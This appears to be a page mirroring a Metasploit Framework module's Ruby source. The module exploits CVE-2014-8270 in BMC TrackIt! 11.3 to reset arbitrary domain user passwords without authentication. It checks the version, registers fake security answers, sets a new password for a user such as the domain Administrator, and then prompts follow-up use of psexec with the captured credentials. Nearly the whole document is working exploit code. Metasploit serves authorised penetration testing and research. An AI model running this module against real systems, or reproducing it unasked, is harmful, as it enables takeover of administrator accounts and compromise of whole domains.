Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Auxiliary::Scanner
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'BMC TrackIt! Unauthenticated Arbitrary User Password Change',
16
'Description' => %q{
17
This module exploits a flaw in the password reset mechanism in BMC TrackIt! 11.3
18
and possibly prior versions. If the password reset service is configured to use
19
a domain administrator (which is the recommended configuration), then domain
20
credentials can be reset (such as domain Administrator).
21
},
22
'References' => [
23
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-14-419/'],
24
['CVE', '2014-8270']
25
],
26
'Author' => [
27
'bperry', # discovery/metasploit module,
28
'jhart'
29
],
30
'License' => MSF_LICENSE,
31
'DisclosureDate' => '2014-12-09',
32
'Notes' => {
33
'Reliability' => UNKNOWN_RELIABILITY,
34
'Stability' => UNKNOWN_STABILITY,
35
'SideEffects' => UNKNOWN_SIDE_EFFECTS
36
}
37
)
38
)
39
40
register_options(
41
[
42
OptString.new('TARGETURI', [true, 'The path to BMC TrackIt!', '/']),
43
OptString.new('LOCALUSER', [true, 'The user to change password for', 'Administrator']),
44
OptString.new('LOCALPASS', [false, 'The password to set for the local user (blank for random)', '']),
45
OptString.new('DOMAIN', [false, 'The domain of the user. By default the local user\'s computer name will be autodetected', ''])
46
]
47
)
48
end
49
50
def localuser
51
datastore['LOCALUSER']
52
end
53
54
def password_reset
55
begin
56
uri = normalize_uri(target_uri.path, 'PasswordReset')
57
send_request_cgi('uri' => uri)
58
rescue => e
59
vprint_error("#{peer}: unable to request #{uri}: #{e}")
60
nil
61
end
62
end
63
64
def check_host(ip)
65
vprint_status("#{peer}: retrieving PasswordReset page to extract Track-It! version")
66
67
unless (res = password_reset)
68
return
69
end
70
71
if res.body =~ /<title>Track-It! Password Reset/i
72
version = res.body.scan(/\bBuild=([\d\.]+)/).flatten.first
73
if version
74
fix_version = '11.4'
75
if Rex::Version.new(version) < Rex::Version.new(fix_version)
76
report_vuln(
77
host: ip,
78
port: rport,
79
name: name,
80
info: "Module #{fullname} detected Track-It! version #{version}",
81
refs: references
82
)
83
vprint_status("#{peer}: Track-It! version #{version} is less than #{fix_version}")
84
return Exploit::CheckCode::Vulnerable
85
else
86
vprint_status("#{peer}: Track-It! version #{version} is not less than #{fix_version}")
87
return Exploit::CheckCode::Safe
88
end
89
else
90
vprint_error("#{peer}: unable to get Track-It! version")
91
return Exploit::CheckCode::Unknown
92
end
93
else
94
vprint_status("#{peer}: does not appear to be running Track-It!")
95
return Exploit::CheckCode::Safe
96
end
97
end
98
99
def run_host(ip)
100
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
101
102
if datastore['DOMAIN'].blank?
103
vprint_status("#{peer}: retrieving session cookie and domain name")
104
else
105
vprint_status("#{peer}: retrieving domain name")
106
end
107
108
unless (res = password_reset)
109
return
110
end
111
112
cookies = res.get_cookies
113
if datastore['DOMAIN'].blank?
114
if res.body =~ /"domainName":"([^"]*)"/
115
domain = Regexp.last_match(1)
116
vprint_status("#{peer}: found domain name: #{domain}")
117
else
118
print_error("#{peer}: unable to obtain domain name. Try specifying DOMAIN")
119
return
120
end
121
else
122
domain = datastore['DOMAIN']
123
end
124
125
full_user = "#{domain}\\#{localuser}"
126
vprint_status("#{peer}: registering #{full_user}")
127
answers = [ Rex::Text.rand_text_alpha(8), Rex::Text.rand_text_alpha(8) ]
128
res = send_request_cgi(
129
'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'Register'),
130
'method' => 'POST',
131
'cookie' => cookies,
132
'vars_post' => {
133
'domainname' => domain,
134
'userName' => localuser,
135
'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com',
136
'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]),
137
'updatequesChk' => 'false',
138
'SelectedQuestion' => 2,
139
'answer' => answers.last,
140
'confirmanswer' => answers.last
141
}
142
)
143
144
if !res || res.body != "{\"success\":true,\"data\":{\"userUpdated\":true}}"
145
print_error("#{peer}: Could not register #{full_user}")
146
return
147
end
148
149
vprint_status("#{peer}: changing password for #{full_user}")
150
151
if datastore['LOCALPASS'].blank?
152
password = Rex::Text.rand_text_alpha(10) + "!1"
153
else
154
password = datastore['LOCALPASS']
155
end
156
157
res = send_request_cgi(
158
'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'ResetPassword'),
159
'method' => 'POST',
160
'cookie' => cookies,
161
'vars_post' => {
162
'newPassword' => password,
163
'domain' => domain,
164
'UserName' => localuser,
165
'CkbResetpassword' => 'true'
166
}
167
)
168
169
if !res || res.body != '{"success":true,"data":{"PasswordResetStatus":0}}'
170
print_error("#{peer}: Could not change #{full_user}'s password -- is it a domain or local user?")
171
return
172
end
173
174
report_vuln(
175
host: ip,
176
port: rport,
177
name: name,
178
info: "Module #{fullname} changed #{full_user}'s password to #{password}",
179
refs: references
180
)
181
print_good("#{peer}: Please run the psexec module using #{full_user}:#{password}")
182
end
183
end
184
185